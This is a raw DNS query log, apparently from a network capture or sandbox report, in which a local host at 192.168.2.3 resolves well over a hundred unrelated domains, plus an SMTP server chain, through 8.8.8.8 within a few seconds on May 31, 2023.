May 31, 2023 14:52:10.740248919 CEST	8.8.8.8	192.168.2.3	0xc3cf	No error (0)	biosolve.com		151.101.130.159	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.745531082 CEST	8.8.8.8	192.168.2.3	0xaf1	No error (0)	epc.com.au		103.4.16.43	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.761976957 CEST	8.8.8.8	192.168.2.3	0x790f	No error (0)	envogen.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.761976957 CEST	8.8.8.8	192.168.2.3	0x790f	No error (0)	envogen.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.770128965 CEST	8.8.8.8	192.168.2.3	0x9953	No error (0)	sidepath.com		34.193.69.252	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.770128965 CEST	8.8.8.8	192.168.2.3	0x9953	No error (0)	sidepath.com		99.83.190.102	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.770128965 CEST	8.8.8.8	192.168.2.3	0x9953	No error (0)	sidepath.com		75.2.70.75	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.770128965 CEST	8.8.8.8	192.168.2.3	0x9953	No error (0)	sidepath.com		34.193.204.92	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.894344091 CEST	8.8.8.8	192.168.2.3	0xbefe	No error (0)	bggs.com		35.230.155.43	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.986633062 CEST	8.8.8.8	192.168.2.3	0x298e	No error (0)	yasuma.com		61.200.81.23	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.993448973 CEST	8.8.8.8	192.168.2.3	0xaffd	No error (0)	vdoherty.com		91.216.241.100	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.085728884 CEST	8.8.8.8	192.168.2.3	0x9e82	No error (0)	ccrsi.org		198.209.253.30	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.149791956 CEST	8.8.8.8	192.168.2.3	0x7d3a	No error (0)	araax.com	traff-4.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:11.149791956 CEST	8.8.8.8	192.168.2.3	0x7d3a	No error (0)	traff-4.hugedomains.com	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:11.149791956 CEST	8.8.8.8	192.168.2.3	0x7d3a	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		3.94.41.167	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.149791956 CEST	8.8.8.8	192.168.2.3	0x7d3a	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		52.86.6.113	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.248794079 CEST	8.8.8.8	192.168.2.3	0xaa43	No error (0)	missnue.com		104.21.234.121	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.248794079 CEST	8.8.8.8	192.168.2.3	0xaa43	No error (0)	missnue.com		104.21.234.120	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.295409918 CEST	8.8.8.8	192.168.2.3	0xdf0c	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.406177044 CEST	8.8.8.8	192.168.2.3	0x925f	No error (0)	duiops.net		135.125.108.170	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.410428047 CEST	8.8.8.8	192.168.2.3	0x9d23	No error (0)	atb-lit.com		208.100.26.245	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.530184031 CEST	8.8.8.8	192.168.2.3	0xa1e5	No error (0)	iranytu.net		103.224.212.222	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.612194061 CEST	8.8.8.8	192.168.2.3	0xf66e	No error (0)	sanfotek.net		216.69.141.67	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.659009933 CEST	8.8.8.8	192.168.2.3	0x8339	No error (0)	doggybag.org		213.186.33.16	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.687712908 CEST	8.8.8.8	192.168.2.3	0x4749	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.693183899 CEST	8.8.8.8	192.168.2.3	0x988f	No error (0)	esmoke.net		204.15.134.44	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.724179983 CEST	8.8.8.8	192.168.2.3	0xfd93	No error (0)	ccssinc.com		104.21.19.68	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.724179983 CEST	8.8.8.8	192.168.2.3	0xfd93	No error (0)	ccssinc.com		172.67.185.152	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.726974964 CEST	8.8.8.8	192.168.2.3	0x1717	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.744673014 CEST	8.8.8.8	192.168.2.3	0x9e70	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.823539019 CEST	8.8.8.8	192.168.2.3	0x4d43	No error (0)	bidroll.com		13.56.33.8	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.856508017 CEST	8.8.8.8	192.168.2.3	0x5b3a	No error (0)	fogra.com.pl		85.128.55.51	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.870618105 CEST	8.8.8.8	192.168.2.3	0x88d	Name error (3)	koz1.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.881757021 CEST	8.8.8.8	192.168.2.3	0x746b	No error (0)	pertex.com		185.151.30.147	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.906353951 CEST	8.8.8.8	192.168.2.3	0x25ee	Name error (3)	koz1.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.944490910 CEST	8.8.8.8	192.168.2.3	0xade	Name error (3)	koz1.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:12.200901031 CEST	8.8.8.8	192.168.2.3	0x7ccc	No error (0)	603888.com	num6.17986.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:12.200901031 CEST	8.8.8.8	192.168.2.3	0x7ccc	No error (0)	num6.17986.net		67.21.93.229	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:12.244723082 CEST	8.8.8.8	192.168.2.3	0x58d9	No error (0)	acraloc.com		192.64.150.164	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:12.328326941 CEST	8.8.8.8	192.168.2.3	0x9f18	No error (0)	acraloc.com		192.64.150.164	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:12.341747999 CEST	8.8.8.8	192.168.2.3	0xaa2	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:12.467652082 CEST	8.8.8.8	192.168.2.3	0xac1e	No error (0)	msl-lock.com		165.160.15.20	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:12.467652082 CEST	8.8.8.8	192.168.2.3	0xac1e	No error (0)	msl-lock.com		165.160.13.20	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:12.614483118 CEST	8.8.8.8	192.168.2.3	0x1856	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:12.700118065 CEST	8.8.8.8	192.168.2.3	0x5be2	No error (0)	kursavto.ru		31.177.76.70	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:12.700118065 CEST	8.8.8.8	192.168.2.3	0x5be2	No error (0)	kursavto.ru		31.177.80.70	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:12.710731030 CEST	8.8.8.8	192.168.2.3	0x4749	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:12.935281038 CEST	8.8.8.8	192.168.2.3	0xdf59	No error (0)	www.yocinc.org		66.94.119.160	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:12.976398945 CEST	8.8.8.8	192.168.2.3	0xad24	No error (0)	nlcv.bas.bg		195.96.252.188	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:12.978065014 CEST	8.8.8.8	192.168.2.3	0xb650	No error (0)	amele.com		85.159.66.62	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:12.988698006 CEST	8.8.8.8	192.168.2.3	0xe384	No error (0)	aoinko.net		157.7.107.38	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.031575918 CEST	8.8.8.8	192.168.2.3	0xf3a1	No error (0)	aba.org.eg		192.169.149.78	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.037117958 CEST	8.8.8.8	192.168.2.3	0xcbcf	Server failure (2)	cjcagent.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.123744965 CEST	8.8.8.8	192.168.2.3	0xb87e	No error (0)	pers.com		192.124.249.3	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.127372980 CEST	8.8.8.8	192.168.2.3	0x2acd	No error (0)	vivastay.com	traff-3.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:13.127372980 CEST	8.8.8.8	192.168.2.3	0x2acd	No error (0)	traff-3.hugedomains.com	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:13.127372980 CEST	8.8.8.8	192.168.2.3	0x2acd	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.18.7.81	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.127372980 CEST	8.8.8.8	192.168.2.3	0x2acd	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.19.116.195	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.164732933 CEST	8.8.8.8	192.168.2.3	0x17e6	No error (0)	enguita.net		195.5.116.23	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.274703026 CEST	8.8.8.8	192.168.2.3	0x759	No error (0)	avse.hu		185.129.138.60	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.342145920 CEST	8.8.8.8	192.168.2.3	0xdf0c	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.394318104 CEST	8.8.8.8	192.168.2.3	0xb5b2	No error (0)	www.kernsafe.com		172.67.72.98	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.394318104 CEST	8.8.8.8	192.168.2.3	0xb5b2	No error (0)	www.kernsafe.com		104.26.2.124	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.394318104 CEST	8.8.8.8	192.168.2.3	0xb5b2	No error (0)	www.kernsafe.com		104.26.3.124	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.488559008 CEST	8.8.8.8	192.168.2.3	0x9f36	No error (0)	tozzhin.com		202.94.166.30	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.568931103 CEST	8.8.8.8	192.168.2.3	0xb67f	No error (0)	portoccd.org		51.89.6.56	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.622191906 CEST	8.8.8.8	192.168.2.3	0x1856	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.632136106 CEST	8.8.8.8	192.168.2.3	0xe07f	No error (0)	zemarmot.net		164.132.175.106	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.661428928 CEST	8.8.8.8	192.168.2.3	0x5c48	No error (0)	epc.com.au		103.4.16.43	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.732023954 CEST	8.8.8.8	192.168.2.3	0x4749	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.753676891 CEST	8.8.8.8	192.168.2.3	0x7b0	No error (0)	ossir.org		51.159.3.117	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.816373110 CEST	8.8.8.8	192.168.2.3	0xc181	No error (0)	scintel.com		23.239.201.14	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.847656012 CEST	8.8.8.8	192.168.2.3	0x150c	Server failure (2)	cjcagent.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.933590889 CEST	8.8.8.8	192.168.2.3	0xd801	No error (0)	paraski.org		94.130.164.242	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.960676908 CEST	8.8.8.8	192.168.2.3	0xc589	No error (0)	ludea.cz		46.8.8.200	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:14.027168036 CEST	8.8.8.8	192.168.2.3	0x3021	No error (0)	uhsa.edu.ag		192.124.249.13	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:14.140991926 CEST	8.8.8.8	192.168.2.3	0x1d3b	No error (0)	www.vitaindu.com		122.128.109.107	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:14.266881943 CEST	8.8.8.8	192.168.2.3	0x4fb5	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:14.638158083 CEST	8.8.8.8	192.168.2.3	0x1856	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:14.657629013 CEST	8.8.8.8	192.168.2.3	0x413e	No error (0)	araax.com	traff-5.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:14.657629013 CEST	8.8.8.8	192.168.2.3	0x413e	No error (0)	traff-5.hugedomains.com	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:14.657629013 CEST	8.8.8.8	192.168.2.3	0x413e	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		54.161.222.85	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:14.657629013 CEST	8.8.8.8	192.168.2.3	0x413e	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		34.205.242.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:14.732783079 CEST	8.8.8.8	192.168.2.3	0x856e	No error (0)	umcor.am		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:14.732783079 CEST	8.8.8.8	192.168.2.3	0x856e	No error (0)	umcor.am		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:14.793859005 CEST	8.8.8.8	192.168.2.3	0xa126	No error (0)	webavant.com		148.72.176.26	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:14.794460058 CEST	8.8.8.8	192.168.2.3	0x2f5f	No error (0)	www.ottospm.com	www.ottospm.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:14.802118063 CEST	8.8.8.8	192.168.2.3	0xa7fa	No error (0)	geecl.com		194.76.27.77	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:14.945555925 CEST	8.8.8.8	192.168.2.3	0x4a2d	Server failure (2)	atis-sk.ca	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:14.956240892 CEST	8.8.8.8	192.168.2.3	0xcf92	No error (0)	sjbmw.com		164.92.82.47	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:14.999794006 CEST	8.8.8.8	192.168.2.3	0x1580	No error (0)	cyclad.pl		87.98.236.253	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:15.032371998 CEST	8.8.8.8	192.168.2.3	0x739e	No error (0)	nme.co.jp		203.0.113.0	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:15.160645962 CEST	8.8.8.8	192.168.2.3	0x7534	No error (0)	dyag-eng.com		13.248.169.48	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:15.160645962 CEST	8.8.8.8	192.168.2.3	0x7534	No error (0)	dyag-eng.com		76.223.54.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:15.206808090 CEST	8.8.8.8	192.168.2.3	0xc7d8	Server failure (2)	cjcagent.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:15.273711920 CEST	8.8.8.8	192.168.2.3	0x4fb5	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:15.424835920 CEST	8.8.8.8	192.168.2.3	0x56c0	No error (0)	ccrsi.org		198.209.253.30	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:15.734484911 CEST	8.8.8.8	192.168.2.3	0x4749	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:15.868808985 CEST	8.8.8.8	192.168.2.3	0xc7d8	Server failure (2)	cjcagent.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.056123018 CEST	8.8.8.8	192.168.2.3	0x82d8	No error (0)	aluminox.es		37.59.243.164	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.251743078 CEST	8.8.8.8	192.168.2.3	0x1889	No error (0)	sidepath.com		34.193.69.252	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.251743078 CEST	8.8.8.8	192.168.2.3	0x1889	No error (0)	sidepath.com		99.83.190.102	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.251743078 CEST	8.8.8.8	192.168.2.3	0x1889	No error (0)	sidepath.com		75.2.70.75	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.251743078 CEST	8.8.8.8	192.168.2.3	0x1889	No error (0)	sidepath.com		34.193.204.92	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.310432911 CEST	8.8.8.8	192.168.2.3	0x4fb5	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.319812059 CEST	8.8.8.8	192.168.2.3	0x9948	No error (0)	www.valselit.com		193.70.68.254	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.332433939 CEST	8.8.8.8	192.168.2.3	0xb16a	No error (0)	www.ex-olive.com		210.140.73.39	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.332854033 CEST	8.8.8.8	192.168.2.3	0x2243	No error (0)	biurohera.pl		54.36.175.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.332854033 CEST	8.8.8.8	192.168.2.3	0x2243	No error (0)	biurohera.pl		79.96.161.192	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.345040083 CEST	8.8.8.8	192.168.2.3	0xd208	No error (0)	pertex.com		185.151.30.147	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.349383116 CEST	8.8.8.8	192.168.2.3	0xf3	No error (0)	gcss.com		35.186.238.101	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.367057085 CEST	8.8.8.8	192.168.2.3	0xd916	No error (0)	holp-ai.com		59.106.13.169	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.457732916 CEST	8.8.8.8	192.168.2.3	0xa464	No error (0)	fifa-ews.com		104.21.10.34	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.457732916 CEST	8.8.8.8	192.168.2.3	0xa464	No error (0)	fifa-ews.com		172.67.189.227	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.466043949 CEST	8.8.8.8	192.168.2.3	0x7c6b	No error (0)	isom.org		192.124.249.14	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.494874001 CEST	8.8.8.8	192.168.2.3	0x22	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.538846970 CEST	8.8.8.8	192.168.2.3	0x823	No error (0)	www.railbook.net		103.224.212.221	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.542879105 CEST	8.8.8.8	192.168.2.3	0x86e3	No error (0)	www.fnw.us	fnw.us		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:16.542879105 CEST	8.8.8.8	192.168.2.3	0x86e3	No error (0)	fnw.us		137.118.26.67	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.578902006 CEST	8.8.8.8	192.168.2.3	0xa110	Server failure (2)	invictus.pl	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.627460957 CEST	8.8.8.8	192.168.2.3	0xa71f	No error (0)	kewlmail.com		63.251.106.25	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.646656036 CEST	8.8.8.8	192.168.2.3	0xe8b5	Server failure (2)	www.ftchat.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.654027939 CEST	8.8.8.8	192.168.2.3	0x1856	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.658770084 CEST	8.8.8.8	192.168.2.3	0x20d0	No error (0)	www.2print.com	2print.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:16.658770084 CEST	8.8.8.8	192.168.2.3	0x20d0	No error (0)	2print.com		107.180.98.101	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.688560009 CEST	8.8.8.8	192.168.2.3	0x5511	No error (0)	oh28ya.com		52.194.81.144	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.688560009 CEST	8.8.8.8	192.168.2.3	0x5511	No error (0)	oh28ya.com		3.113.205.207	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.691797972 CEST	8.8.8.8	192.168.2.3	0xf01e	No error (0)	oaith.ca		192.124.249.12	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.706619024 CEST	8.8.8.8	192.168.2.3	0x4f9c	No error (0)	smtp.compuserve.com	east.us.smtp.aol.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:16.706619024 CEST	8.8.8.8	192.168.2.3	0x4f9c	No error (0)	east.us.smtp.aol.com	smtp.aol.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:16.706619024 CEST	8.8.8.8	192.168.2.3	0x4f9c	No error (0)	smtp.aol.com	smtp.cs.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:16.706619024 CEST	8.8.8.8	192.168.2.3	0x4f9c	No error (0)	smtp.cs.com	smtp.aol.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:16.706619024 CEST	8.8.8.8	192.168.2.3	0x4f9c	No error (0)	smtp.aol.g03.yahoodns.net		87.248.97.31	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.708060026 CEST	8.8.8.8	192.168.2.3	0x5b7a	No error (0)	siongann.com		172.67.156.237	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.708060026 CEST	8.8.8.8	192.168.2.3	0x5b7a	No error (0)	siongann.com		104.21.8.75	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.709268093 CEST	8.8.8.8	192.168.2.3	0xbe4a	No error (0)	msl-lock.com		165.160.13.20	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.709268093 CEST	8.8.8.8	192.168.2.3	0xbe4a	No error (0)	msl-lock.com		165.160.15.20	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.810863972 CEST	8.8.8.8	192.168.2.3	0xced2	Name error (3)	www.wkhk.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.824274063 CEST	8.8.8.8	192.168.2.3	0x315f	No error (0)	akdeniz.nl		109.71.54.22	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.877111912 CEST	8.8.8.8	192.168.2.3	0x3590	No error (0)	agulatex.com		133.125.38.187	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.889148951 CEST	8.8.8.8	192.168.2.3	0x922	No error (0)	duiops.net		135.125.108.170	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.889405012 CEST	8.8.8.8	192.168.2.3	0x4b6f	No error (0)	reproar.com		194.143.194.23	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.900983095 CEST	8.8.8.8	192.168.2.3	0x20ad	No error (0)	dzm.cz		83.167.255.150	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.976607084 CEST	8.8.8.8	192.168.2.3	0x14f8	No error (0)	www.elpro.si		104.26.15.53	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.976607084 CEST	8.8.8.8	192.168.2.3	0x14f8	No error (0)	www.elpro.si		104.26.14.53	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.976607084 CEST	8.8.8.8	192.168.2.3	0x14f8	No error (0)	www.elpro.si		172.67.70.22	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.991620064 CEST	8.8.8.8	192.168.2.3	0xdeba	No error (0)	www.nunomira.com	nunomira.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:16.991620064 CEST	8.8.8.8	192.168.2.3	0xdeba	No error (0)	nunomira.com		192.241.158.94	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.116132975 CEST	8.8.8.8	192.168.2.3	0xb735	No error (0)	www.iamdirt.com	gcdn0.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:17.116132975 CEST	8.8.8.8	192.168.2.3	0xb735	No error (0)	gcdn0.wixdns.net	td-ccm-168-233.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:17.116132975 CEST	8.8.8.8	192.168.2.3	0xb735	No error (0)	td-ccm-168-233.wixdns.net		34.117.168.233	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.124017954 CEST	8.8.8.8	192.168.2.3	0x7dc0	No error (0)	www.depalo.com	ghs.googlehosted.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:17.124017954 CEST	8.8.8.8	192.168.2.3	0x7dc0	No error (0)	ghs.googlehosted.com		216.58.215.243	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.125140905 CEST	8.8.8.8	192.168.2.3	0xf446	No error (0)	www.transsib.com	www.studyrussian.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:17.125140905 CEST	8.8.8.8	192.168.2.3	0xf446	No error (0)	www.studyrussian.com	studyrussian.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:17.125140905 CEST	8.8.8.8	192.168.2.3	0xf446	No error (0)	studyrussian.com		80.74.154.6	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.125962019 CEST	8.8.8.8	192.168.2.3	0x3786	No error (0)	www.x0c.com		185.53.177.50	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.212898016 CEST	8.8.8.8	192.168.2.3	0xc0ad	No error (0)	www.wifi4all.nl		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.212898016 CEST	8.8.8.8	192.168.2.3	0xc0ad	No error (0)	www.wifi4all.nl		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.263545036 CEST	8.8.8.8	192.168.2.3	0x3d78	No error (0)	nolaoig.org		54.212.145.129	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.284240961 CEST	8.8.8.8	192.168.2.3	0xfd90	No error (0)	www.petsfan.com	traff-3.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:17.284240961 CEST	8.8.8.8	192.168.2.3	0xfd90	No error (0)	traff-3.hugedomains.com	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:17.284240961 CEST	8.8.8.8	192.168.2.3	0xfd90	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.18.7.81	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.284240961 CEST	8.8.8.8	192.168.2.3	0xfd90	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.19.116.195	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.290491104 CEST	8.8.8.8	192.168.2.3	0xdc9f	Server failure (2)	atis-sk.ca	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.298113108 CEST	8.8.8.8	192.168.2.3	0x66d4	No error (0)	www.fcwcvt.org		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.298113108 CEST	8.8.8.8	192.168.2.3	0x66d4	No error (0)	www.fcwcvt.org		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.327518940 CEST	8.8.8.8	192.168.2.3	0x6fcb	Name error (3)	www.jroy.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.345108032 CEST	8.8.8.8	192.168.2.3	0x32c2	No error (0)	kamptal.at		128.204.134.138	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.367192984 CEST	8.8.8.8	192.168.2.3	0x74bb	No error (0)	www.vexcom.com		172.67.173.200	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.367192984 CEST	8.8.8.8	192.168.2.3	0x74bb	No error (0)	www.vexcom.com		104.21.55.224	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.370565891 CEST	8.8.8.8	192.168.2.3	0x17ed	No error (0)	shiner.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.370565891 CEST	8.8.8.8	192.168.2.3	0x17ed	No error (0)	shiner.com		188.114.96.7	A (IP address)	IN (0x0001)	false
